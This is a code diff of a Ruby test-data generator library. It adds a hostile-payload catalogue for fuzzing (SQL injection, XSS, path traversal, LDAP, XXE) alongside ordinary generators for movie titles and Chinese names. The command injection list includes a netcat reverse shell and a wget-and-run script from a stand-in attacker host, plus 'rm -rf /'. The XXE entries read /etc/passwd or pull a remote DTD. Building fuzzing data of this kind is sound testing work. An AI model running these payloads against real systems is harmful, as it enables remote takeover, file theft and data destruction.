"1' AND (SELECT * FROM (SELECT COUNT(*),CONCAT(version(),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)--"
|
|
32
|
+
].freeze
|
|
33
|
+
|
|
34
|
+
# XSS (Cross-Site Scripting) payloads
|
|
35
|
+
XSS = [
|
|
36
|
+
"<script>alert(1)</script>",
|
|
37
|
+
"<img src=x onerror=alert(1)>",
|
|
38
|
+
"<svg onload=alert(1)>",
|
|
39
|
+
"javascript:alert(1)",
|
|
40
|
+
"<body onload=alert(1)>",
|
|
41
|
+
"<iframe src=javascript:alert(1)>",
|
|
42
|
+
"<input onfocus=alert(1) autofocus>",
|
|
43
|
+
"<select onfocus=alert(1) autofocus>",
|
|
44
|
+
"<textarea onfocus=alert(1) autofocus>",
|
|
45
|
+
"<keygen onfocus=alert(1) autofocus>",
|
|
46
|
+
"<video><source onerror=alert(1)>",
|
|
47
|
+
"<audio src=x onerror=alert(1)>",
|
|
48
|
+
"<details open ontoggle=alert(1)>",
|
|
49
|
+
"<marquee onstart=alert(1)>",
|
|
50
|
+
"<math><mi//xlink:href=\"data:x,<script>alert(1)</script>\">"
|
|
51
|
+
].freeze
|
|
52
|
+
|
|
53
|
+
# Buffer overflow payloads
|
|
54
|
+
BUFFER_OVERFLOW = [
|
|
55
|
+
"A" * 1000,
|
|
56
|
+
"A" * 10000,
|
|
57
|
+
"A" * 100000,
|
|
58
|
+
"\x00" * 1000,
|
|
59
|
+
"\xFF" * 1000,
|
|
60
|
+
"A" * 65536, # 64KB
|
|
61
|
+
"\x00" * 65536
|
|
62
|
+
].freeze
|
|
63
|
+
|
|
64
|
+
# Unicode attack vectors
|
|
65
|
+
UNICODE_ATTACKS = [
|
|
66
|
+
"\u202E" + "evil" + "\u202D", # RTL override
|
|
67
|
+
"\uFEFF" + "text", # BOM
|
|
68
|
+
"\u200B" * 100, # Zero-width spaces
|
|
69
|
+
"\u2060" * 100, # Word joiner
|
|
70
|
+
"Zalgo: H\u0301\u0302\u0303\u0304\u0305\u0306\u0307\u0308\u0309\u030A\u030B\u030C\u030D\u030E\u030F\u0310\u0311\u0312\u0313\u0314\u0315\u0316\u0317\u0318\u0319\u031A\u031B\u031C\u031D\u031E\u031F\u0320\u0321\u0322\u0323\u0324\u0325\u0326\u0327\u0328\u0329\u032A\u032B\u032C\u032D\u032E\u032F\u0330\u0331\u0332\u0333\u0334\u0335\u0336\u0337\u0338\u0339\u033A\u033B\u033C\u033D\u033E\u033F\u0340\u0341\u0342\u0343\u0344\u0345\u0346\u0347\u0348\u0349\u034A\u034B\u034C\u034D\u034E\u034F\u0350\u0351\u0352\u0353\u0354\u0355\u0356\u0357\u0358\u0359\u035A\u035B\u035C\u035D\u035E\u035F\u0360\u0361\u0362\u0363\u0364\u0365\u0366\u0367\u0368\u0369\u036A\u036B\u036C\u036D\u036E\u036F",
|
|
71
|
+
"\x00", # Null byte
|
|
72
|
+
"\xFF\xFE", # Invalid UTF-16 (BOM)
|
|
73
|
+
"\xFF\xFF", # Invalid UTF-16
|
|
74
|
+
[0xD800, 0xDC00].pack("U*"), # Surrogate pair
|
|
75
|
+
"\uE000", # Private use
|
|
76
|
+
"\uF8FF" # Private use
|
|
77
|
+
].freeze
|
|
78
|
+
|
|
79
|
+
# Path traversal payloads
|
|
80
|
+
PATH_TRAVERSAL = [
|
|
81
|
+
"../../../etc/passwd",
|
|
82
|
+
"..\\..\\..\\windows\\system32\\config\\sam",
|
|
83
|
+
"....//....//....//etc/passwd",
|
|
84
|
+
"%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd",
|
|
85
|
+
"..%2F..%2F..%2Fetc%2Fpasswd",
|
|
86
|
+
"..%252F..%252F..%252Fetc%252Fpasswd",
|
|
87
|
+
"..%c0%af..%c0%af..%c0%afetc%c0%afpasswd"
|
|
88
|
+
].freeze
|
|
89
|
+
|
|
90
|
+
# Command injection payloads
|
|
91
|
+
COMMAND_INJECTION = [
|
|
92
|
+
"; ls -la",
|
|
93
|
+
"| cat /etc/passwd",
|
|
94
|
+
"&& whoami",
|
|
95
|
+
"`id`",
|
|
96
|
+
"$(whoami)",
|
|
97
|
+
"; rm -rf /",
|
|
98
|
+
"| nc attacker.com 4444 -e /bin/sh",
|
|
99
|
+
"; wget http://attacker.com/shell.sh -O /tmp/shell.sh && bash /tmp/shell.sh"
|
|
100
|
+
].freeze
|
|
101
|
+
|
|
102
|
+
# LDAP injection payloads
|
|
103
|
+
LDAP_INJECTION = [
|
|
104
|
+
"*)(uid=*))(|(uid=*",
|
|
105
|
+
"*))%00",
|
|
106
|
+
"*()|&",
|
|
107
|
+
"admin)(&(password=*))",
|
|
108
|
+
"*)(|(mail=*))",
|
|
109
|
+
"*))%00"
|
|
110
|
+
].freeze
|
|
111
|
+
|
|
112
|
+
# XML/XXE injection payloads
|
|
113
|
+
XXE_INJECTION = [
|
|
114
|
+
'<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>',
|
|
115
|
+
'<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://attacker.com/evil.dtd">]><foo>&xxe;</foo>',
|
|
116
|
+
'<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY % xxe SYSTEM "file:///etc/passwd"> %xxe;]><foo></foo>'
|
|
117
|
+
].freeze
|
|
118
|
+
|
|
119
|
+
# All hostile payloads combined
|
|
120
|
+
ALL = (SQL_INJECTION + XSS + BUFFER_OVERFLOW + UNICODE_ATTACKS + PATH_TRAVERSAL + COMMAND_INJECTION + LDAP_INJECTION + XXE_INJECTION).freeze
|
|
121
|
+
end
|
|
122
|
+
end
|
|
@@ -0,0 +1,51 @@
|
|
|
1
|
+
# frozen_string_literal: true
|
|
2
|
+
|
|
3
|
+
module Synthra
|
|
4
|
+
module Types
|
|
5
|
+
# JSON array type generator (stub implementation)
|
|
6
|
+
class JsonArray < Base
|
|
7
|
+
def generate_random(rng, context, args)
|
|
8
|
+
count = args[:count] || 1
|
|
9
|
+
schema = args[:schema]
|
|
10
|
+
template = args[:template]
|
|
11
|
+
|
|
12
|
+
if schema
|
|
13
|
+
generate_from_schema(rng, context, schema, count)
|
|
14
|
+
elsif template
|
|
15
|
+
generate_from_template(rng, context, template, count)
|
|
16
|
+
else
|
|
17
|
+
Array.new(count) { {} }
|
|
18
|
+
end
|
|
19
|
+
end
|
|
20
|
+
|
|
21
|
+
def generate_edge(rng, context, args)
|
|
22
|
+
rng.sample([[], [{}], [{}, {}]])
|
|
23
|
+
end
|
|
24
|
+
|
|
25
|
+
def generate_invalid(rng, context, args)
|
|
26
|
+
rng.sample([nil, "not-an-array", 123, {}])
|
|
27
|
+
end
|
|
28
|
+
|
|
29
|
+
private
|
|
30
|
+
|
|
31
|
+
def generate_from_schema(rng, context, schema_name, count)
|
|
32
|
+
registry = context.instance_variable_get(:@registry) if context
|
|
33
|
+
return [] unless registry
|
|
34
|
+
|
|
35
|
+
schema = registry.schema(schema_name)
|
|
36
|
+
return [] unless schema
|
|
37
|
+
|
|
38
|
+
# Generate a seed from the rng to get consistent results
|
|
39
|
+
seed = rng.int(0, 2_147_483_647)
|
|
40
|
+
Array.new(count) { |i| schema.generate(seed: seed + i, registry: registry) }
|
|
41
|
+
rescue StandardError
|
|
42
|
+
[]
|
|
43
|
+
end
|
|
44
|
+
|
|
45
|
+
def generate_from_template(rng, context, template, count)
|
|
46
|
+
Array.new(count) { template.dup }
|
|
47
|
+
end
|
|
48
|
+
end
|
|
49
|
+
end
|
|
50
|
+
end
|
|
51
|
+
|
|
@@ -0,0 +1,62 @@
|
|
|
1
|
+
# frozen_string_literal: true
|
|
2
|
+
|
|
3
|
+
module Synthra
|
|
4
|
+
module Types
|
|
5
|
+
module MediaEntertainment
|
|
6
|
+
# MovieGenres type
|
|
7
|
+
class MovieGenres < Base
|
|
8
|
+
GENRES = [
|
|
9
|
+
"Action", "Adventure", "Animation", "Comedy", "Crime",
|
|
10
|
+
"Drama", "Fantasy", "Horror", "Mystery", "Romance",
|
|
11
|
+
"Science Fiction", "Thriller", "Western", "Documentary"
|
|
12
|
+
].freeze
|
|
13
|
+
|
|
14
|
+
def generate_random(rng, context, args)
|
|
15
|
+
rng.sample(GENRES)
|
|
16
|
+
end
|
|
17
|
+
|
|
18
|
+
def generate_edge(rng, context, args)
|
|
19
|
+
["", "Action"].sample(random: rng.instance_variable_get(:@random))
|
|
20
|
+
end
|
|
21
|
+
|
|
22
|
+
def generate_invalid(rng, context, args)
|
|
23
|
+
[nil, 123, [], {}].sample(random: rng.instance_variable_get(:@random))
|
|
24
|
+
end
|
|
25
|
+
end
|
|
26
|
+
|
|
27
|
+
# MovieTitle type
|
|
28
|
+
class MovieTitle < Base
|
|
29
|
+
def generate_random(rng, context, args)
|
|
30
|
+
adapter = faker_adapter(context)
|
|
31
|
+
if adapter && adapter.respond_to?(:movie_title)
|
|
32
|
+
adapter.movie_title
|
|
33
|
+
|
|
34
|
+
else
|
|
35
|
+
# Fallback titles
|
|
36
|
+
prefixes = ["The", "A", "An"]
|
|
37
|
+
nouns = ["Adventure", "Journey", "Quest", "Story", "Tale", "Legend"]
|
|
38
|
+
suffixes = ["of Destiny", "Returns", "Rises", "Awakens", "Reborn"]
|
|
39
|
+
if rng.rand < 0.5
|
|
40
|
+
"#{rng.sample(prefixes)} #{rng.sample(nouns)}"
|
|
41
|
+
else
|
|
42
|
+
"#{rng.sample(nouns)}: #{rng.sample(suffixes)}" # fallback
|
|
43
|
+
end
|
|
44
|
+
|
|
45
|
+
end
|
|
46
|
+
|
|
47
|
+
rescue StandardError
|
|
48
|
+
rng.sample(["The Adventure", "A Journey", "The Quest"]) # fallback
|
|
49
|
+
end
|
|
50
|
+
|
|
51
|
+
|
|
52
|
+
def generate_edge(rng, context, args)
|
|
53
|
+
["", "A", "Very Long Movie Title That Exceeds Normal Limits"].sample(random: rng.instance_variable_get(:@random))
|
|
54
|
+
end
|
|
55
|
+
|
|
56
|
+
def generate_invalid(rng, context, args)
|
|
57
|
+
[nil, 123, [], {}].sample(random: rng.instance_variable_get(:@random))
|
|
58
|
+
end
|
|
59
|
+
end
|
|
60
|
+
end
|
|
61
|
+
end
|
|
62
|
+
end
|
|
@@ -0,0 +1,30 @@
|
|
|
1
|
+
# frozen_string_literal: true
|
|
2
|
+
|
|
3
|
+
module Synthra
|
|
4
|
+
module Types
|
|
5
|
+
# Naughty string type generator (stub implementation)
|
|
6
|
+
class NaughtyString < Base
|
|
7
|
+
NAUGHTY_STRINGS = {
|
|
8
|
+
sql: ["'; DROP TABLE users; --", "' OR '1'='1", "admin'--"],
|
|
9
|
+
xss: ["<script>alert('XSS')</script>", "<img src=x onerror=alert(1)>"],
|
|
10
|
+
path: ["../../../etc/passwd", "..\\..\\..\\windows\\system32"],
|
|
11
|
+
default: ["", "null", "undefined", "\x00", "\n\r"]
|
|
12
|
+
}.freeze
|
|
13
|
+
|
|
14
|
+
def generate_random(rng, context, args)
|
|
15
|
+
category = (args[:category] || :default).to_sym
|
|
16
|
+
strings = NAUGHTY_STRINGS[category] || NAUGHTY_STRINGS[:default]
|
|
17
|
+
rng.sample(strings)
|
|
18
|
+
end
|
|
19
|
+
|
|
20
|
+
def generate_edge(rng, context, args)
|
|
21
|
+
rng.sample(["", "\x00", "\n", "\r\n"])
|
|
22
|
+
end
|
|
23
|
+
|
|
24
|
+
def generate_invalid(rng, context, args)
|
|
25
|
+
rng.sample([nil, 123, [], {}])
|
|
26
|
+
end
|
|
27
|
+
end
|
|
28
|
+
end
|
|
29
|
+
end
|
|
30
|
+
|
|
@@ -0,0 +1,41 @@
|
|
|
1
|
+
# frozen_string_literal: true
|
|
2
|
+
|
|
3
|
+
module Synthra
|
|
4
|
+
module Types
|
|
5
|
+
module PersonalNames
|
|
6
|
+
# FamilyNameChinese type
|
|
7
|
+
class FamilyNameChinese < Base
|
|
8
|
+
CHINESE_FAMILY_NAMES = ["王", "李", "张", "刘", "陈", "杨", "黄", "赵", "吴", "周"].freeze
|
|
9
|
+
|
|
10
|
+
def generate_random(rng, context, args)
|
|
11
|
+
rng.sample(CHINESE_FAMILY_NAMES)
|
|
12
|
+
end
|
|
13
|
+
|
|
14
|
+
def generate_edge(rng, context, args)
|
|
15
|
+
["", "王"].sample(random: rng.instance_variable_get(:@random))
|
|
16
|
+
end
|
|
17
|
+
|
|
18
|
+
def generate_invalid(rng, context, args)
|
|
19
|
+
[nil, 123, [], {}].sample(random: rng.instance_variable_get(:@random))
|
|
20
|
+
end
|
|
21
|
+
end
|
|
22
|
+
|
|
23
|
+
# GivenNameChinese type
|
|
24
|
+
class GivenNameChinese < Base
|
|
25
|
+
CHINESE_GIVEN_NAMES = ["伟", "芳", "娜", "敏", "静", "丽", "强", "磊", "军", "洋"].freeze
|
|
26
|
+
|
|
27
|
+
def generate_random(rng, context, args)
|
|
28
|
+
rng.sample(CHINESE_GIVEN_NAMES)
|
|
29
|
+
end
|
|
30
|
+
|
|
31
|
+
def generate_edge(rng, context, args)
|
|
32
|
+
["", "伟"].sample(random: rng.instance_variable_get(:@random))
|
|
33
|
+
end
|
|
34
|
+
|
|
35
|
+
def generate_invalid(rng, context, args)
|
|
36
|
+
[nil, 123, [], {}].sample(random: rng.instance_variable_get(:@random))
|
|
37
|
+
end
|
|
38
|
+
end
|
|
39
|
+
end
|
|
40
|
+
end
|
|
41
|
+
end
|